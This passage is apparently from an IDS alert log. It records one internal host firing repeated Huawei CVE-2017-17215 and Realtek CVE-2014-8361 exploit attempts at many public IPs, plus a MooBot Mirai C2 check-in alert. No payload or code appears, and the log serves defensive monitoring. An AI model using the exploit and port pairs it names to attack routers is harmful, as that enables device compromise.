Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.20.1.26

Timestamp:	07/20/24-23:01:07.682291
SID:	2829579
Source Port:	55420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 206.125.101.194

Timestamp:	07/20/24-23:01:33.567010
SID:	2025132
Source Port:	36664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.130.147

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	58758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.201.11.124

Timestamp:	07/20/24-23:01:34.923717
SID:	2027339
Source Port:	60396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.49.34

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	35104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.203.32.204

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	48726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.153.251

Timestamp:	07/20/24-23:01:05.901568
SID:	2829579
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 171.144.139.139

Timestamp:	07/20/24-23:01:13.334387
SID:	2831300
Source Port:	39470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 8.188.8.56

Timestamp:	07/20/24-23:01:13.334552
SID:	2027339
Source Port:	37954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.108.56

Timestamp:	07/20/24-23:01:11.483526
SID:	2829579
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.133.134.55

Timestamp:	07/20/24-23:01:13.328744
SID:	2027339
Source Port:	59564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.199.141.7

Timestamp:	07/20/24-23:01:29.187581
SID:	2027339
Source Port:	47946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.1.245.191

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	38902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.61.76.50

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	56030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.8.230

Timestamp:	07/20/24-23:01:25.230811
SID:	2835222
Source Port:	39922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.147.178.141

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	45892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.24.35.60

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	54290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.38.237.179

Timestamp:	07/20/24-23:01:14.396888
SID:	2835222
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 181.129.237.7

Timestamp:	07/20/24-23:01:13.331420
SID:	2831300
Source Port:	46272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.238.228

Timestamp:	07/20/24-23:01:37.120446
SID:	2829579
Source Port:	42260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.53.255.157

Timestamp:	07/20/24-23:01:22.792913
SID:	2829579
Source Port:	55434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.61.29

Timestamp:	07/20/24-23:01:33.081951
SID:	2835222
Source Port:	58390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 47.67.168.49

Timestamp:	07/20/24-23:01:06.227443
SID:	2025132
Source Port:	44250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.232.37

Timestamp:	07/20/24-23:01:14.401003
SID:	2835222
Source Port:	49994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.216.80.38

Timestamp:	07/20/24-23:01:19.233507
SID:	2835222
Source Port:	33770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.109.215

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.3.189.109

Timestamp:	07/20/24-23:01:02.413580
SID:	2829579
Source Port:	53338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.100.110

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.194.218.244

Timestamp:	07/20/24-23:01:34.911761
SID:	2027339
Source Port:	51648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.193.181.196

Timestamp:	07/20/24-23:01:34.929652
SID:	2027339
Source Port:	51604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.254.226.195

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	52374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 119.229.5.254

Timestamp:	07/20/24-23:01:34.899868
SID:	2027339
Source Port:	59132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 59.126.120.18

Timestamp:	07/20/24-23:01:13.331144
SID:	2831300
Source Port:	60488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 135.89.106.236

Timestamp:	07/20/24-23:01:34.903669
SID:	2831300
Source Port:	46846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.194.94.116

Timestamp:	07/20/24-23:01:11.478031
SID:	2835222
Source Port:	50980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.216.107.62

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.174.229.65

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	51308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.61.239.97

Timestamp:	07/20/24-23:01:22.766451
SID:	2829579
Source Port:	43998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.190.243.0

Timestamp:	07/20/24-23:01:24.075466
SID:	2027339
Source Port:	42398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.227.132.38

Timestamp:	07/20/24-23:01:22.781976
SID:	2829579
Source Port:	48446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.237.48.108

Timestamp:	07/20/24-23:01:37.128294
SID:	2835222
Source Port:	60936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.180.202

Timestamp:	07/20/24-23:01:25.285323
SID:	2835222
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.241.170.10

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	58282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.25.154

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	58062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.156.185

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	37374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.78.130.138

Timestamp:	07/20/24-23:01:11.461274
SID:	2829579
Source Port:	34598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.206.182

Timestamp:	07/20/24-23:01:02.409131
SID:	2835222
Source Port:	37444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 107.71.221.19

Timestamp:	07/20/24-23:01:23.163830
SID:	2025132
Source Port:	34758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.129.69.142

Timestamp:	07/20/24-23:01:19.220572
SID:	2835222
Source Port:	45714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.70.43.24

Timestamp:	07/20/24-23:01:02.412791
SID:	2835222
Source Port:	58652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.215.126

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.167.217

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	55158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.135.10.205

Timestamp:	07/20/24-23:01:28.222987
SID:	2829579
Source Port:	33168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.247.83

Timestamp:	07/20/24-23:01:05.893596
SID:	2829579
Source Port:	43336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.41.248

Timestamp:	07/20/24-23:01:11.477507
SID:	2829579
Source Port:	43684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.19.192

Timestamp:	07/20/24-23:01:33.060990
SID:	2829579
Source Port:	54422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.62.203

Timestamp:	07/20/24-23:01:33.071289
SID:	2835222
Source Port:	54352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.52.44

Timestamp:	07/20/24-23:01:37.120506
SID:	2829579
Source Port:	55836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.217.173.216

Timestamp:	07/20/24-23:01:05.561402
SID:	2027339
Source Port:	48354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.209.252.220

Timestamp:	07/20/24-23:01:11.448569
SID:	2829579
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.191.66

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	43180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.128.116.127

Timestamp:	07/20/24-23:01:25.507121
SID:	2027339
Source Port:	43544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.163.100.190

Timestamp:	07/20/24-23:01:02.412914
SID:	2829579
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 183.162.94.65

Timestamp:	07/20/24-23:01:29.189808
SID:	2831300
Source Port:	52218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.213.218.227

Timestamp:	07/20/24-23:01:14.444926
SID:	2835222
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.202.81.69

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	58530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.166.123

Timestamp:	07/20/24-23:01:33.056745
SID:	2829579
Source Port:	53834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 120.128.124.111

Timestamp:	07/20/24-23:01:34.937254
SID:	2831300
Source Port:	38308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 91.209.91.142

Timestamp:	07/20/24-23:01:05.551661
SID:	2025132
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.91.139.227

Timestamp:	07/20/24-23:01:25.290247
SID:	2829579
Source Port:	51894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 188.154.109.67

Timestamp:	07/20/24-23:01:06.196910
SID:	2025132
Source Port:	45164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.29.48

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	38152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 87.184.45.167

Timestamp:	07/20/24-23:01:29.537701
SID:	2025132
Source Port:	55456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.157.192.147

Timestamp:	07/20/24-23:01:22.777005
SID:	2835222
Source Port:	59040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:03.923524
SID:	2030490
Source Port:	38412
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.126.62.152

Timestamp:	07/20/24-23:01:25.230742
SID:	2835222
Source Port:	58672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 162.145.238.215

Timestamp:	07/20/24-23:01:34.927371
SID:	2831300
Source Port:	51196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 143.76.5.38

Timestamp:	07/20/24-23:01:34.909518
SID:	2027339
Source Port:	45700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.233.151

Timestamp:	07/20/24-23:01:02.408596
SID:	2835222
Source Port:	48950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 106.139.202.117

Timestamp:	07/20/24-23:01:29.198098
SID:	2027339
Source Port:	57072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.115.1.213

Timestamp:	07/20/24-23:01:02.410932
SID:	2835222
Source Port:	40186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.165.153

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.70.127.19

Timestamp:	07/20/24-23:01:05.902118
SID:	2835222
Source Port:	54668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 58.141.211.31

Timestamp:	07/20/24-23:01:13.335386
SID:	2831300
Source Port:	37858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.255.157

Timestamp:	07/20/24-23:01:02.411645
SID:	2829579
Source Port:	47630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.158.129

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	40892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 175.184.156.103

Timestamp:	07/20/24-23:01:34.931386
SID:	2831300
Source Port:	56628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.245.85.153

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	53922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.255.8.55

Timestamp:	07/20/24-23:01:22.788405
SID:	2829579
Source Port:	46534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.233.93

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	56816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.44.21.237

Timestamp:	07/20/24-23:01:07.674222
SID:	2829579
Source Port:	53470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.240.97

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	52796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.18.46.46

Timestamp:	07/20/24-23:01:33.139994
SID:	2829579
Source Port:	49682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.235.67.126

Timestamp:	07/20/24-23:01:33.271159
SID:	2027339
Source Port:	57060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.196.34.7

Timestamp:	07/20/24-23:01:25.278709
SID:	2835222
Source Port:	54742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.250.14

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	35374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 208.213.201.22

Timestamp:	07/20/24-23:01:34.920163
SID:	2027339
Source Port:	58920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.18.5.168

Timestamp:	07/20/24-23:01:22.801376
SID:	2829579
Source Port:	59654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.13.93

Timestamp:	07/20/24-23:01:22.782671
SID:	2835222
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.63.149.130

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	53146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.94.246.106

Timestamp:	07/20/24-23:01:24.075435
SID:	2831300
Source Port:	40352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 165.198.120.17

Timestamp:	07/20/24-23:01:07.346484
SID:	2025132
